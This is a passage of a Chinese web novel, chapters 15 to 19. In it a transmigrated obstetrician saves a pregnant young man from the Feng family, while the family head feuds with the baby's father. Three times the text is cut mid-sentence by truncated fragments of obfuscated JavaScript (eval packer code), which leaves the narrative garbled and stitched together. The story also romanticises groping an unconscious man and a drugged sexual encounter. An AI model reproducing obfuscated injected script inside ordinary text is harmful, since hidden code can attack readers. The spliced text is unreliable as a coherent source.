一句话根本没有讲完的余地,肚子原有的沉坠感突然加剧起来,使得枫知乐的脸顷刻间由红转白,变成钻心的疼痛。 宋成良瞧他的脸色不对劲,以为他还想再耍什么花样,索性敞开天窗说亮话道,“枫少爷,你纠缠我也没有用,我不喜欢男的,而且我现在也不想跟你再有什么联系。” “你知道你哥哥有多可怕!?”宋成良还想讲得更难听一点,抬手看了眼手表,上课时间差不多了,余下的话咽进肚子里,转身就走。 枫知乐想追他两步,又一股疼痛和不适感随之而来,这一次明显更加清晰得折磨着他。 “好痛!成良哥,你救救我!”双腿一软,枫知乐直接倒在地面。 宋成良仅是回眸看了他一眼,想着这个家伙八成是伪装的。 正如那天晚上,穿上骚气的女装往他身上蹭,喝醉了还扯住他要求送回家。 宋成良根本没理睬他,直接把醉晕晕的枫知乐丢在酒吧里自生自灭。 今天也是,完全没必要同情变态。 枫知乐趴在地面,眼瞅着对方越走越远,一颗红心简直撕心裂肺般疼痛。 情绪的影响,他的肚子也痛得要命。 为了不被枫家人找到,他堵着宋成良的地方也十分偏僻,刚好属于视野盲区,不会有人发现他的异常的。 枫知乐后悔了,人在失望与痛苦之下,萌生出的恨意也十分深刻。 求生欲望也会非常强烈。 “谁来救救我,救命!”枫知乐用尽全力去呼喊,甚至抱住腹部,借以缓解剧痛带来的不适感。 最终,枫知乐将手机卡颤颤巍巍插进手机,第一通电话并不是打给枫家的兄长。 而是郁瑟。 郁瑟借他使用电话时,将电话号码也告诉了他。 人在绝望无助时,对医生的信赖达到了巅峰状态。 枫知乐通过电话向郁瑟发出求救,“郁医生,救救我,我不想死,你救救我!” 郁瑟跟白梵父子,爱徒王齐刚坐上私包的车辆,一伙人还没有顺利离开龙城。 郁瑟便接听了枫知乐的电话。 隔着听筒听见对方虚弱的求救声,白梵立刻产生了共鸣,拉住郁瑟的袖口道,“郁医生,我们晚一点走也可以。” 郁瑟沉思一瞬,旋即赞同道,“好,先去救人。” 最终所有人都没有离开龙城,驱车赶往枫知乐出事的小区。 15.第 15 章 郁瑟赶到的时间仿佛命中注定,沿途没有塞车堵车,绝对的一帆风顺。 成功抵达后枫知乐已经躺在地面,人被肌肤沁出的冷汗包裹,脸色苍白如纸,呼吸微弱且急促,周围的土壤间散落着一些抓痕和踢痕。 显然,他在等待郁瑟到来的这段时间里经历了不小的挣扎。 尤其□□有泛红的痕迹,搞不好是先兆性流产。 郁瑟急忙上前,勉强将枫知乐打横抱起,这样的动作可以有效避免压到孕夫的腹部,而缺陷是真得很怕手一抖,给人原地又撂下去。 若是在几天前,郁瑟可以直接将人拉回慈康医院,如今医院被砸光了。 白梵和孩子也帮不上什么忙,万一暴露目标就更加麻烦,所以郁瑟半路就放王齐下车,帮着白梵先去酒店躲躲。 此时此刻,郁瑟手边已经没有任何能帮得上忙的人,事情发生在枫知乐身上,于情于理,应该立刻通知枫家人。 当然,他今早才跟枫音尘请辞,总不好再打电话过去,舔着脸笑,“嘿嘿,没想到吧,我没走成。” 郁瑟求助枫澄的时候,只希望对方还不知道自己准备跑路的事情。 枫澄接听电话后,甚至连两个公司会议都推掉了,只要一听郁瑟电话里的危机报备,就知道三弟的情况在危急的头上还要再加个“十万火急”。 这是医生亲自打电话带来的压迫感。 枫澄先给郁瑟指了路,叫他带着枫知乐去熟悉的医院就诊,他这边能依靠人脉关系开通个特殊通道。 而后返回枫家,主动去训诫室,抽了一根牛皮鞭子,双手托举主动走进枫音尘的书房。 “小叔!”枫澄险些当场脱掉西装,背负两根荆条,直接跪在家主面前,一副请罪的模样。 “是我错了,擅作主张,不该隐瞒你。”枫澄神色凝重,眼神中满是自责与焦急,“知乐那次晚上夜不归宿,其实我隐瞒了最重要的一件事。” “他怀孕了!”枫澄双手呈上牛皮鞭子,声音低沉:“知乐现在有危险,已经被送去医院了,我原本打算只自己一个人过去先看一眼,可是怀孕的人时刻处于危险状态,我很怕他出事,想请您一同去看看。” 怀孕从来都是一件重要且严肃的事情,怀孕过程处处充斥各种危机,有的孕妇在怀孕过程中潜在各种凶险,很容易发生意外。 尤其知乐还是一个男生,刚刚19岁的男生,身上的器.官还没有发育完全,如此的怀孕状况,无疑是对他身体的巨大挑战。 枫澄讲到此处,语气中充满了担忧与后悔,他深知自己作为哥哥,没有照顾好弟弟,让对方陷入了如此危险的境地。 “小叔,我知道错了,我不该忌惮你的责备而隐瞒这件事。现在我只希望能尽快赶到知乐身边,万一要是有什么不好.......” 枫澄低下头。 起码家人全部在身边。 枫音尘看向枫澄,眼神中闪过一丝复杂的情绪。 他其实一点也不喜欢医院,从小......不对,现在应该讲,从骨子里就深刻地厌恶着医院的一切。 但是郁瑟在医院,宛若一尊守护神般。 这是一万种不幸当中,唯一值得庆幸的事情。 “把枫羽也叫上。”枫音尘示意枫澄带路,一同前往医院。 路上,枫音尘沉默不语,似乎在思考着什么。 枫澄则心急如焚。 两人各怀心事,车内气氛凝重。 郁瑟通过特殊渠道,将枫知乐抱进龙城第三妇幼保健院,原本医院的护士将他阻拦,不准他随便进入。 郁瑟搬出枫家的名号,朗声喊道,“我也是一名产科医生,而且有行医执照,这个孩子怀孕的情况十分特殊,为了确保他的安全,我需要一同参与。” 在这个狗血文的世界里,男性生产的情况其实并不常见,所以当他告知孕妇实际上是一个男性时,阻拦他的人纷纷露出惊讶的神情,甚至有人窃窃私语,交头接耳,仿佛听到了什么天方夜谭。 郁瑟面色不改,从容地跟着进入了B超室,医院的病人很多,所以另外单独开了一间。 此刻的枫音尘气息奄奄,被放置在病床时勉强睁了眼,看到郁瑟的瞬间仿佛吃了一剂定心丸,露出一抹苍白的微笑。 “郁医生,你来啦?” 孩子晕厥了一路已经疼糊涂了,根本想不到一个区区的家庭医生,为何此刻言行专业,手里拿着探头,正在细致地扫描自己的小腹。 郁瑟的眼神专注而认真,手指轻巧地在仪器上操作,屏幕上的影像逐渐清晰,显示出胎儿在父体内的状态。 “不用担心,过一阵就不疼了。” 郁瑟抢走了其他医生的工作,原本应该会招致众怒,但是孕夫为男性,很多人一辈子也没见过几个类似的特例,全部当作临床会诊来对待。 郁瑟谨慎地对记录员口述B超结果:“宫内妊娠囊发育正常,病患先兆性流产,不仅是因为外力刺激,最主要是他的子宫长在肠道外侧与腹膜粘连,这种情况极为罕见,导致了胎儿位置的异常,从而引发了流产的先兆。” “我们需要立即安排手术,调整子宫的位置,并且植入人工韧带,否则这个孩子根本保不住多久。” 说到这里,郁瑟观察着屋内的其他医生表情,看起来没有几个人想挑战这个任务。 毕竟只有郁瑟自己在讲,其他人根本没有听说过这样的治疗方案。 当然,也不乏有跃跃越试者。 郁瑟将枫知乐先交给护士照顾,自己则双手插兜站在走廊,安静等待枫家人的到来。 说到底,其实还有第二种治疗方案,就像枫澄最初的打算,做引产手术。 可是男性子宫的位置错综复杂,郁瑟观察过萧夫人和枫知乐,共计两名可孕男性的腹部B超。 跟女性的完全天壤之别,而且每一个的位置还稍有差距。 这就会导致每一个男性孕夫的生产方案也各不相同。 他虽然尊重生命,但也不能随意插手他人家庭的事情。 枫澄和枫音尘赶到的十分及时,枫澄完全属于火急火燎,而枫音尘则掏出素白的手绢捂住口鼻。 他真的很讨厌医院,消毒水的味道弥漫在空气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧君耀上位之后一直恪守原则,正直公正,一板一眼地经营家族事业,在业界内颇受好评与尊重。 是一个正面角色。 枫音尘原本不打算露出冷笑的,主要眼前这剧情跟书上殊途同归,他几乎已经预见到了接下来的发展脉络。 只是他什么时候才能符合剧情发展,把郁医生丢到床上去呢? 此一想,枫音尘的脸色又变得可怕起来,以至于萧君耀看见的瞬间,以为对方要对他毒言毒语,不由得生出几分壮士视死如归的凛然。 人站定后,分外抱歉道,“请先听我把话说完。” 怪不好意思的。 咳咳咳。 萧君耀说,“那晚跟......咳咳咳,睡了的,咳咳咳.....其实是我。” 正面角色居然也会感到羞耻啊。 枫音尘毒言毒语道,“你去死好了。” 16.第 16 章 话难听。 奈何对方是枫家的实际掌权者,萧君耀在商圈里一向备受尊崇,还真没听过有人敢当面直接叫他去死的。 然而没办法。 他这事做的亏心,自知理亏,只能硬着头皮承受毒液喷射。 其实,萧君耀并不是睡完人家小孩子,就跑掉不管的渣男。 他当时接受邀请去商务应酬,被人在酒水了下了药,躲进另一个包厢内时意识彻底模糊,原本他凭借十几年的纯元童子身还算忍得住诱惑,结果对方穿着露脐装爬到身上又蹭又磨的。 还一个劲儿地叫哥哥。 萧君耀正经了三十几年,微信头像使用一本正经的空白图片,取正经得像退休老干部的寡淡昵称。 在被人叫叔叔的年纪里,一声哥哥瞬间击溃了所有的理智和防御。 破防了,真得破防了。 一夜七次,在老男人这边居然不是梦。 第二天醒来,枫知乐已经像一只被反复折腾坏的小白兔,被他搂在怀里熟睡着。 萧君耀立刻觉得自己是个活生生的畜生、禽兽、老王八蛋。 直到看清楚枫知乐又软又白的小脸蛋,一双紧阖的眼尾处渲染出委屈的红晕。 萧君耀的汗毛彻底炸锅了。 他看枫知乐长相稚嫩,以为自己睡了未成年,第一反应是给枫知乐的脸拍了张照片,先给秘书打去电话,要求在五分钟内知道男孩的全部个人信息。 得知枫知乐已经成年,不过也才刚19岁,萧君耀逐渐放下的心又狠狠自我指责。 畜生、禽兽! 几十年不开荤,一开荤就开个最嫩的。 萧君耀给小孩儿买了暖腰贴、消炎药、消肿止痛膏等,回来准备接受枫知乐的指责时,人已经跑掉了。 萧君耀并不是没想过,主动约枫知乐出来见一见。 据可靠消息是,枫知乐已经连学都不上了,被扣在家里完全出不来。 萧君耀猜测肯定跟前面那件事有关,枫家门风森严,教训有方,不是随便能准许孩子在外度夜的传统豪门。 思来想去,想到了个联姻的妙招。 结果枫音尘毫不领情,直言问他,“凭你们萧家的年利润,谁给你的胆子?” 又说,“你开口前,想过自己的岁数问题吗?” 萧君耀当时气得不轻。 他现在再次直面枫音尘的那句“去死。” 死掉的回忆又开始猛烈地攻击他。 他道,“我如果有意逃避责任,上次和今天根本不会主动来受你这份屈辱。” 枫音尘则淡而又淡,“萧先生大可以转身离开,我这儿的屈辱又不是非你不可。” “你真的很喜欢强词夺理。” 枫音尘今天出门没有带小黑蛇,否则他此刻的嫌弃感与蛇类如出一辙。 “假如萧先生不是做贼心虚,又如何给我奚落的机会?” 俩个豪门家主有来有回,对峙得难解难分。 枫澄等人连一句插嘴的机会都没有。 郁瑟上次没有亲眼所见枫家主的毒舌功力,这次算是开眼了。 不过像枫音尘这种既保持的美感与优雅,又必须要对方死的画面,郁医生冥冥中有点眼熟似的。 ...... 大概全人类最大的妖魔鬼怪聚集所,医院首当其冲。 他横插一句道,“枫家主,萧家主,我有必要提醒一下这里是医院,公众场所,请注意你们的言行举止,不要惊扰到其他人。” “还有,你们的争执并无意义,不如冷静下来,好好谈一谈,或许可以找到一个双方都能接受的解决方案。” 郁瑟尤其对萧君耀提议,“医院里还有其他的病患在就诊,人群密集,所以不需要跟多无关紧要的人在场。” 枫音尘旋即勾了下嘴角,以一种近乎戏谑的姿态看向萧君耀。 萧君耀大手一挥,跟随他来的十几个保镖立刻心领神会,迅速撤离。 枫澄顺利接下这个台阶,做出请的眼神,“这件事现在已经不单纯的是枫家的颜面了,还请里面详谈。” 言毕,一群人转移进入B超室隔壁的小房间内。 萧君耀率先表明态度,“我愿意承担全部责任,迎娶枫三少爷。” 枫音尘啧了一声,如同在他的老脸上啪啪打了几巴掌。 萧君耀道,“现在谈孩子的事情确实不合适,但我觉得要先看知乐的想法,假如他可以接受的话,手术做完我们立刻结婚。” 枫音尘:“狐狸尾巴终于装不住了吗?说到底还不是为了你自己的后代问题。” 萧君耀暗中捂住突突直跳的心口,道,“假如知乐不希望生这个孩子,我也同意做流产手术,结婚的事情照旧,我以后会好好地疼爱知乐,承担自己作为丈夫的责任。” 他讲得大义凛然,保证会严肃对待,不让枫知乐受任何委屈。 枫澄之前的想法稍有动摇,毕竟对方是龙城著名的正经大佬,家世肯定是门当户对的,目前看来也足够有担当。 枫音尘啧了第二声,“开始自我感动了吗?” 郁瑟也不知哪里来的胆量,从不随便出手的习惯被打破,暗自扯了一下枫音尘的衣袖,算是恭敬道,“枫家主,烦请给我几分钟行吗?” 又对枫澄道,“枫先生,这阵子三少爷应该已经清醒了,我觉得你们可以先去问问他的想法。” 毕竟怀孕的人是枫知乐,孩子去留的问题肯定需要他自己做主。 枫音尘扫了一脸晦气离开的萧君耀,单独留在房间里等郁瑟开口。 郁瑟正准备开口。 却见枫音尘的身形摇晃了几下,像是之前的冷傲刻薄全是伪装的,无力地用手抚了一下太阳穴的位置。 “枫家主,你还好吗?” 郁瑟出于医生的人道主义关怀,只要看见谁有不舒服的情况,都会主动伸手搀扶一把。 枫音尘则顺势露出脆弱的一面,轻微地隔开他的手,摇头言道,“郁医生,你是不是觉得我很不可理喻?” 呃...... “这怎么会呢?”郁瑟以为他的内心会和他的嘴一样坚硬无敌,谁想竟也如同普通人一般,被复杂的亲情关系所困扰,暴露出一丝难得的疲态。 这让郁瑟颇感意外,毕竟在外人眼中,枫音尘一直是那个冷静果决、不近人情的枫家家主。 枫音尘轻叹一声,“这些孩子真是太不省事了,居然惹出这样大的乱子,还一个一个只会隐瞒着我,关键 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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特别适合接吻。 郁瑟稍微拢了拢发散的思维。 枫音尘蓦得握住他的手,转瞬又松开道,“我再冷静一下。” 郁瑟点头,“好,我也先去瞧一眼三少爷的情况。” 等房间的门被关闭,整个幽静的空间内直剩下枫音尘的瞬间。 他安静地站了几秒钟。 下一秒,则将碰触过郁瑟的右手高高举起,像是打量一件奇石珍宝。 摸到了摸到了摸到了!!! 郁医生的手! 其实那天晚上,他将昏睡中的郁瑟早已经摸得差不多了。 然而,清醒时能摸到郁医生的一切,才是他梦寐以求的事情。 枫音尘深吸一口气,试图平复内心的激动与渴望。 将右手放置在唇间,一根一根得去舔舐自己的手指,最终将掌心舔舐得一片濡湿。 好香啊。 瑟瑟的味道。 真恨不得立刻推倒瑟瑟,拆骨入腹。 17.第 17 章 郁瑟预测的不错,枫知乐确实已经苏醒,只是身体依旧虚弱,眼神底漂浮着迷茫的光。 枫澄早在病房门口将萧君耀拦住,不算礼貌,但也不算冒犯地请他留步。 即便家中的亲弟弟怀有龙种,这也不是在双方情投意合的情况下实现的。 枫音尘已经将萧君耀气个半死,但是作为兄长的枫澄心底还憋着一股火气呢。 萧君耀只比自己大个几岁,然而跟19岁的枫知乐来讲,完全可以做对方的父亲了。 枫家的家风是有仇必报。 枫澄暂时无法接受,亲弟弟居然一个老男人有过一夜不可告人的关系。 还被搞大了肚子!! 枫音尘是嘴巴上令人吃不消,而枫澄在叛逆期的时候可是最喜欢用拳头教人做人的。 假如萧君耀并不是龙城的正派大佬,而是阿鸡阿猫,或者是个花花公子,此刻他的肠子已经被拽出来拴在脖子上了。 枫澄不想让他干扰枫知乐的判断,叫他止步于此,自己走进病房去。 枫羽也已经收到信息,火急火燎地赶到医院。 如今病房内只有姓枫的三兄弟,同胞而生的亲兄弟,打断骨头还连着筋的血脉亲情。 枫知乐冥冥中是敬畏大哥的,所以看见枫澄进来,第一反应则是朝二哥的方向靠了靠。 枫羽主动伸手揽住了他孱弱的肩膀。 枫澄直言问,“你怀孕了,自己知道吗?” 枫知乐也是听护士们的交谈,才知道自己居然是一个能生孩子怪物,小孩子早被吓得不知所措,更不要讲能有条不紊地应对兄长的盘问。 他摇摇头,更往枫羽的怀里缩了缩,显得愈发可怜无助。 “......”枫澄不知该用什么样的语气词来表达此刻的无奈。 枫知乐是个小孩子,还是小婴儿的时候,父母已经在空难中去世了。 他从小在枫家所有人的庇护下长大,对于外面的世界一无所知,更不懂得人心的险恶。 尤其,他更加不知道。 枫家的三个兄弟都是男人生的。 ——他们的母亲也是一个男人。 只有记事的枫澄枫羽两兄弟,清楚知道这个隐晦的秘密。 生他们的男人平常总以女装示人,所以家里能留下的遗照,也全是精心打扮后的美人样子。 枫音尘会用皮鞭抽打枫澄,以及枫澄会禁锢枫知乐,并且聘请郁瑟来暗中检查的目的是一样的。 他们的母亲是一个拥有生育能力的男人,这种特殊的基因会完美地遗传给每一个孩子。 现在,枫知乐的怀孕无疑是在验证着这个遗传的真相。 枫澄与枫羽两人目光交汇,彼此心领神会。 枫澄问,“这个孩子,假如你不想要的话,哥哥们都支持你手术流掉。” 枫羽也在三弟耳侧轻声劝慰说,“但是孩子的父亲也做出了保证,不管你要不要这个孩子,他都会跟你结婚,好好地弥补你。” “羽。”枫澄俨然不希望他说出萧君耀的保证,“那样的人,若不是身高权重,送他去坐牢也不为过。” 枫羽则保持不同的意见,“难道我是看重对方的权势吗?大哥,我们把萧君耀堵在门口,不让他们两个当事人亲自交流一下,恐怕也不是什么明智的做法吧?” 枫知乐一听,那天晚上的男人居然正在门口,立刻慌张得想往被窝里钻。 枫羽连声说,“知乐,你已经成年了,有些事情需要自己来拿主意,逃避问题是最愚蠢的做法。” 枫澄冷哼了一声。 此刻,萧君耀恰到好处地推开了一道门缝,他肯定是没有偷听兄弟们的对话,只是时机却被他牢牢掌控在手中。 他对里面问了一句,“我可以亲自跟他谈一下吗?” 枫知乐立刻滋溜钻进被子里。 枫澄本想叫姓萧的先出去。 枫羽却拉住他的手臂,轻带了一下,“走吧,你我不可能永远替知乐做主。” 或者。 “你也不想,总是让小叔来做主吧?” 枫家三兄弟对于枫音尘的敬畏心颇为严重,达到一种近乎闻之头皮发麻的程度。 枫澄只好捏了捏拳头,在继承家族生意之后,他的暴戾心收敛不少,取而代之的是沉稳冷酷。 真是不甘心!! 兄弟俩前脚一走,萧君耀顺利进来,主动坐到病床前。 病床上鼓起一个很大的被包,里面趴着蜷缩成一团的枫知乐,因为腹部的痛感尚在,他的动作也能适当缓解部分不适。 最主要的是,他一直以为跟自己上床的是宋成良!!! 转眼为什么变成陌生的男人!! 枫知乐终究是好奇的,掀开一丝丝的被缝,从男人的皮鞋开始打量。 穿得不是球鞋或板鞋,而是一双纯黑色的锃亮牛皮鞋,洁净的袜子从裤脚微微露出,透着一种低调的雅致。 再往上看是笔挺的裤管,没有丝毫褶皱,显露出穿戴者严谨的作风。 蔓延过修长的小腿后,再往下看是同样好看的大腿,宽松感恰好的高级面料包裹一双结实的长腿。 “他腿好长啊。” 虽然是只看到了坐姿,依旧能推测出男人的身量很高,浑身散发出苍松一般的清冷气息,绝对不会令人感到油腻或不适。 枫知乐心中不由得感叹,如此的气质,简直比那些影视巨星还要吸引人。 他继续谨慎地打量下去,男人的手指粗糙有力,关节清晰可见,轻轻放在膝上,仿佛每一根手指都蕴含着无尽的力量。 “难怪那天晚上,我被掐得死死的,完全跑不掉,一直被打桩。” 枫知乐已经有点不好意思再看对方的面孔了。 萧君耀却像能清晰捕捉到小孩的一举一动似的,张口温柔道,“我很抱歉。” 枫知乐的脸不知是被闷热的,或是原本便容易变红,总之男人的声音很成熟,跟宋成良那种清朗的音色完全不同。 这种成熟的声音如同暮鼓晨钟,乍一听立刻令人肃穆起来,但是贴在耳畔吹热气的时候,又像是月下低吟浅唱的小夜曲,带着一丝不可言喻的魅惑。 枫知乐的心跳不由自主地加速,脸上的热度也随之攀升。 他从小没有父母陪伴,只有两个年长的哥哥喜欢要求他这样那样。 小叔叔就更不用谈了。 所以,才会喜欢像宋成良那种,看起来很会关心他的男生。 只可惜...... 宋成良。 这个名字代表着残忍、冷酷、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枫知乐又思考了一下,“孩子生下来后,若是我们离婚,孩子必须给我。” 萧君耀的笑微微收敛。 不是在意孩子的归属,而是觉得被窝里躲藏的小孩儿,似乎是个很可爱的人。 点点头道,“我可以保证,不和你抢孩子。” 枫知乐躲在暗处想,他要狠狠地报复宋成良,不但跟别的男人结了婚,还跟其他男人生了孩子。 此一想,他的失落和痛苦,仿佛得到了极大的满足。 于是也不再躲藏,而是慢吞吞地扶住腹部掀开被子。 萧君耀极有眼色地来搀扶他。 枫知乐被突然的明光蛰了眼帘,微微眯了一下眼,抬头看向凑过来的萧君耀。 萧君耀朝他温柔的笑了一下。 却见一张比宋成良还要英俊一万倍的面孔近在咫尺。 这张面孔深邃且立体,成熟又不失风度。 啊啊啊啊啊!! 枫知乐感觉腹部一抽一抽得疼起来。 不对,是心脏的跃动引起的! 这可不就是枫知乐最喜欢的成熟型男吗? 18.第 18 章 枫知乐已经答应接受手术,但是这次的手术难度较大,需要高度专业的医疗团队以及先进的医疗设备来支持。 为了确保手术的成功,医院已经调集了最顶尖的外科医生,并安排了多次术前讨论,力求将每一个细节都考虑周全。 同时,手术室内的设备也进行了全面的检查和更新,确保在手术过程中不会出现任何技术故障。 医疗方案是由郁瑟来提出的,他当之无愧成为这次手术的主刀医师。 最开始萧君耀是有所顾虑的,毕竟他聘请来的医疗团队在国内声名显著,在某些程度上是优胜于郁瑟的。 但是枫音尘不同意,他对郁瑟似乎有一种迷之信任,坚信郁瑟能够带领医疗团队顺利完成这次高难度的手术。 如此信任程度简直叫萧君耀产生某种错觉,仿佛郁瑟不仅仅是一名医生,而是枫音尘生命中不可或缺的守护者。 ——神明一般的存在。 郁瑟自然是有一定的心理压力的,他到这个狗血文世界中,仅仅只做了一场男性生产手术。 但是他对男性怀孕的生理结构变化、孕期可能出现的并发症,以及手术过程中可能遇到的各种风险等,已经做了许多方面的研究。 加之这本狗血文世界的医学科技明显要高于现实世界,例如新型人工韧带在多领域使用,新型麻醉剂对人体的损害程度降低等方面,都有了全新突破。 所以他才敢在第一时间提出如此大胆的创思。 枫音尘对他的信任支持完全由暗中进行,只有萧君耀知晓。 郁瑟很快调整了心理状态,令自己变得很快轻松自如。 他知道,这场手术不仅关乎到枫知乐和怀中孩子的生命,也关乎到他在这个世界的立足之本。 临上手术前,郁瑟不断仔细回顾手术方案,争取做到每一个细节都不放过,从麻醉的选择到手术切口的定位,再到术后的护理和康复计划,他都一一在脑海中模拟演练。 枫知乐在萧君耀的陪同下,对于手术也没有做出过度的反抗,尤其他也听取了郁瑟的建议,被告知这场手术的创口不会很大,而且完成之后,能极大程度地降低孕后期子宫膨大对于内脏、盆腔,尤其是肠道的压迫,降低流产以及早产的概率。 手术定在第五日早晨。 郁瑟在手术室门口看见了枫家所有人,还有萧君耀的侄子萧凛。 作为前任金主,萧凛面对郁瑟展现出一定程度的尴尬。 毕竟他未来小婶和肚子里的宝宝,现在全部交给毫无地位权势的郁瑟来掌控。 而他的妻子已经动身去了国外,马上进入待产期。 郁瑟倒是落落大方,冲他微微一笑。 转头再看向枫家人时,一张脸比一张脸严肃。 只有枫音尘在微笑。 但他今天把小黑蛇带来了,那条小蛇盘缠在主人的肩膀侧,照例冲郁瑟吐舌头。 如此一对比,反倒觉得枫音尘似乎在冥冥中给他鼓劲。 也许是我看错了。郁瑟并不觉得枫音尘会对自己青眼相看,只是那一双翡翠琉璃色的眸子格外醒目,凝视他的时候微微眨动,眉目传情也不多如此。 郁瑟临上手术台需要平心静气,有点不敢接他的眼神,假装没看见似的,领着爱徒王齐,以及团队其他的人快速走进手术室。 枫音尘一直目送某人的背影离去,转眼改了脸色,朝萧家人摆出一副高高在上的臭脸。 萧凛立刻不服气地朝萧君耀抱怨,“他以为他是谁啊?!” 萧君耀内心自然有诸多不满,但是也无奈道,“等我和知乐结婚以后,也得改称这个人为小叔叔。” “你小叔叔的小叔叔,你觉得他算是谁?” 萧君耀立刻说不出来话。 对了。 萧君耀道,“枫音尘之前说,两家联姻没问题,要你必须给他道歉。” “凭什么?”萧凛快要咆哮而出,“我得罪他了吗?我之前都不认识他!” 叔侄两人的交谈声一直压低得死死的,枫音尘一点也不屑与他们对视,只有趴在肩膀的黑蛇转过头,用恐怖的蛇眼凝视二人,仿佛是一种血腥味极浓的监督者,敢说废话直接咬断你的喉咙。 萧君耀其实也摸不准枫音尘的脉搏,感觉这人挺玄奇的,换句话说就是还有点骄作。 但绝对不属于矫揉造作,而是除了他自己之外,其他人全是垃圾,不配分享同一空间内氧气的既视感。 与一头雾水的萧诼道,“你问我理由,其实我也不知道,但是非要找个理由。” “应该是他就看你不顺眼吧。” 萧君耀自己说着都快气笑了,安慰恼怒的萧凛,“没事,他看我也不顺眼。” . 手术预订的时间是三个小时,原本郁瑟在提出这个建议的时候,医学团队中的很多人都不同意,认为这次手术的重心在于在子宫两侧安装宫骶人工韧带等,这完全属于考验医生技术和手速的高难度操作。 郁瑟当时没有说出太多的解释。 直到手术初期,将枫知乐的子宫与肠道黏连的地方小心翼翼地分离开。 这是一个精细且耗时的过程,需要极高的专注度和技巧。 郁瑟身为主刀,他的动作稳健而迅速,每一个细微的动作都透露出他对这场手术的绝对掌控。 手术室内的其他医护人员已然发现他的双手特别稳、准、狠。 利索到一种近乎恐怖的地步。 一同协作的团队其他成员面面相觑,彼此交递着心知肚明的眼神。 这样的一双手,绝对不是一个产科大夫会拥有的。 直到手术第二阶段,郁瑟在枫知乐的盆腔与畸形子宫之间,安装人工宫骶韧带和骶棘韧带等。 其操作难度和对精度的要求远非普通手术可比。 郁瑟却胸有成竹,他的每一个动作都显得那么从容不迫,仿佛他早已对这一切了如指掌。 团队成员们再次面面相觑,心中充满了疑惑和惊叹。 所有人开始意识到,这位看似年轻的产科医生,或许有着他们所不了解的深厚背景和惊人实力。 郁瑟的眼神专注而坚定,仿佛在进行一场无声的较量。 而手术室内的时间,在这一刻仿佛凝固,所有的目光都聚焦在他的灵巧双手。 王齐作为旁观学习,此刻也陷入了沉思。 他不断回想着郁瑟在手术中的每一个细节,那精准无误的操作,那从容不迫的态度,都让他感到震撼和自豪。 手术完美地按照预定时间完成。 郁瑟作为主治大夫需要去跟家属做简单交待,他人还没走出手术室,已经被团队其他几个人围住。 纷纷问他,“郁医生,你这双手做产科大夫是不是太可惜了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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被真情感动的郁瑟轻轻拍了拍枫音尘的手背,示意他放宽心。 枫音尘紧绷的神色这才稍有缓和,但依旧紧紧握着郁瑟的手不放。 不放不放就不放! 郁瑟的手不属于纤细修长型,而是一双宽厚稳健的手。 握起来好安心,好舒服,好温暖。 枫音尘一直贪恋的感觉。 这令他不禁回想起小说里跟郁瑟做的第二夜、第三夜、第四夜和第五夜。 这双手在欢乐中起到了绝对诱人的作用! ...... 呸。 这本书叫《强宠郁医生的九十九夜》 他妈的,他现在连初夜都没奉献出去呢! 一眨眼被迫走剧情,2~5夜的刺激床戏全部略过了,现在只是刚能紧紧抓住郁医生的手啊啊啊! 郁瑟想,给病人家属的安慰差不多够了吧,应该可以抽回手了吧? 这里的人有十几个呢,两个男人手拉手确实很有碍观瞻。 即使枫音尘是个大美人。 郁瑟抽了几下,没能把手顺利夺回来。 枫音尘却小声问了句,“郁医生,你居然是产科医生,那你之前到枫家给知乐治疗,说自己是普通的家庭医生,岂不是一直在欺骗我?” 郁瑟:“!” 枫澄:“!” 枫澄:“小叔,我想跟你解释一下。” 19.第 19 章 枫音尘完全不在乎枫澄的解释,当然,他更不需要郁瑟的解释。 他只需要郁瑟感到抱歉即可。 郁瑟确实感到有些歉意,作为医生,他明白自己不能随意撒谎。即便是被迫的情况下,撒谎也必须以人道主义关怀为前提。 枫知乐怀孕的事情已经败露。 而他也没什么好藏着掖着的,眼神感谢了枫澄的出言相助,“还是让我自己来说吧......” 郁瑟要做一个简单的解释。 枫音尘已经转身已经对萧家的叔侄两人言道,“还愣着做什么?知乐那边难道不需要去先看一眼吗?” 见过嚣张的,这辈子总算见过嚣张巅峰了。 萧君耀一心拴在枫知乐身上,大气没喘,跟着一并走了。 枫澄像是就知道是这种结局似的,对郁瑟摇头道,“其实我来做解释最合理一点,这件事原本就是我的授意。” 郁瑟当然知道这样最好,只不过他是在跑路途中被叫了回来,顺手给老雇主家做点贡献。 结束之后,他还得继续跑路。 所以对于枫音尘,郁瑟只要张过口,无论这句话最终说没说出来。 反正约等于解释过了。 枫澄像是看懂他的微表情,禁不住摇头道,“你不懂,郁医生。” 我小叔完全属于睚眦必报的个性,最恐怖的是,令他的恼怒的点,角度尤其刁钻,你永远不知道他究竟哪里属于逆鳞,哪里属于雷区。 密集恐惧症的人看了会被吓死。 这话说出口,连一旁安静的枫羽也跟着摇头。 郁瑟却只是淡淡一笑。 主动走过去与萧凛打招呼,询问了小萧夫人的情况。 萧凛领教过枫音尘的厉害之后,反倒容易与郁瑟产生了共鸣。 这个世界上,能得罪谁都是得罪,然而枫音尘却属于万万不能得罪。 